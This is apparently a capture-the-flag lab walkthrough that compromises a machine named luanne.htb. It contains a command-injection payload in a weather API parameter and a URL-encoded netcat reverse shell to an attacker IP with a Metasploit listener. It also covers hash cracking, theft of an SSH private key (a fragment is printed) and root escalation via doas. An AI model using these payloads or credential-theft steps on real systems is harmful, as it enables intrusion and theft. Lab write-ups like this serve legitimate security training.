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HOME PAGE: http://10.129.53.206/index.html

LOGIN PAGE: http://10.129.53.206/

The robots.txt file contained a URI /weather
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http://10.129.53.206/robots.txt

I fuzzed after the weather URI and discovered
/weather/forecast
I executed a curl request and discovered I am communicating with an API
# Commands Executed
curl luanne.htb/weather/forecast.htb
curl luanne.htb/weather/forecast?city=list
curl luanne.htb/weather/forecast?city=London

SCREENSHOT EVIDENCE OF API COMMUNICATION

In my enumeration earlier I discovered port 3000 was open locally which may indicate a
SQL database is queried through this API
This turned out to not be the case.
http://luanne.htb/weather/forecast?city=%%%
http://luanne.htb/weather/forecast?city=London'
When I sent these URLs I could see in Burp they were being encoded before being sent

HTTP 9001
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Gaining Access
I was able to discover that I could terminate the query on port 80 using the weather API
and execute commands through python
# Commands Executed
curl http://luanne.htb/weather/forecast?city=%27%29%3Bos.execute%28%22whoami%22%29-curl http://luanne.htb/weather/forecast?city=%27%29%3Bos.execute%28%22id%22%29--

Using the os.execute python module I can execute bash commands
I URL encoded a netcat reverse shell
# Encoded Data
forecast?city=London');os.execute("rm
tmp/f")--

/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.83 1336 >/

I started a Metasploit listener
# Commands Executed
msfconsole
use multi/handler
set LPORT 1336
set LHOST 10.10.14.83
set payload linux/x64/shell_reverse_tcp
run

With the listener going I executed the reverse shell payload
# Command Executed
curl http://10.129.53.206/weather/forecast?
city=London%27%29%3Bos.execute%28%22rm%20%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%
20-i%202%3E%261%7Cnc%2010.10.14.83%201336%20%3E%2Ftmp%2Ff%22%29--

SCREENSHOT EVIDENCE OF CONNECTION
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Inside the /var/www/html/.htpasswd file is a password hash for the web api user
# Commands Executed
cat /var/www/html/.htpasswd
# RESULTS
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

I was able to crack the hash using John the Ripper
# Commands Executed
echo webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
# RESULTS
iamthebest

SCREENSHOT OF CRACKED PASSWORD

I was able to use this password to sign into the site http://10.129.53.206/

USER: webapi_user
PASS: iamthebest
SCREENSHOT OF SUCCESSFUL LOGIN

I discovered a second locally available port on port 3000 and 3001
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# Command Executed
netstat -nat | grep LISTEN

SCREENSHOT EVIDENCE OF RESULTS

I connected to port 3000 and 3001 to see what they are

SCREENSHOT EVIDENCE OF RESULTS

I can see that I need to authenticate to port 3000 and 3001 in order to communicate with
them.
Since they are both HTTP I can use Curl to authenticate in my request
I was also able to see in /var/log/processes_stdout.log that the web api is running as
r.michaels
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# Command Executed
cat /var/log/processes_stdout.log

SCREENSHOT OF RESULTS

Using the API I may be able to read files in r.michaels home directory
The way that bozohttpd works is HTTP requests are read as standard input and returned as
standard output.
All files are read from the / directory. This is excluding the ~user translation
REFERENCE: https://manned.org/bozohttpd/9a8c3e7e
Usually private ssh keys are named id_rsa.
I could not find any passwords for r.michaels however I was able to read his SSH key in his
home dir. This was unusual as this file is typically in the .ssh folder
# Command Executed
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa

SCREENSHOT EVIDENCE OF RETURNED SSH KEY
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I then placed the discovered SSH Key into a file, modified its permissions and tried to sign
in using SSH
# Commands Executed
vi rmichaels.key
chmod 600 rmichaels.key
ssh r.michaels@10.129.53.206 -i rmichaels.key

CONTENTS OF rmichaels.key
-----BEGIN OPENSSH PRIVATE KEY----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh
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-----END OPENSSH PRIVATE KEY-----

SCREENSHOT EVIDENCE OF SSH ACCESS
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I was then able to read the user flag
# Command Executed
cat ~/user.txt
# RESULTS
ea5f0ce6a917b0be1eabc7f9218febc0

SCREENSHOT EVIDENCE OF USER FLAG

USER FLAG:
ea5f0ce6a917b0be1eabc7f9218febc0
PrivEsc
In my enumeration I discovered r.michaels has doas permissions for the root user
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# Command Executed
cat /usr/pkg/etc/doas.conf

SCREENSHOT EVIDENCE OF PERMISSIONS

I executed the sh command with doas to become the root user

SCREENSHOT EVIDENCE OF ROOT ELEVATION

# Commands Executed
cat /root/root.txt
# RESULTS
7a9b5c206e8e8ba09bb99bd113675f66

SCREENSHOT EVIDENCE OF ROOT FLAG

ROOT FLAG:
7a9b5c206e8e8ba09bb99bd113675f66
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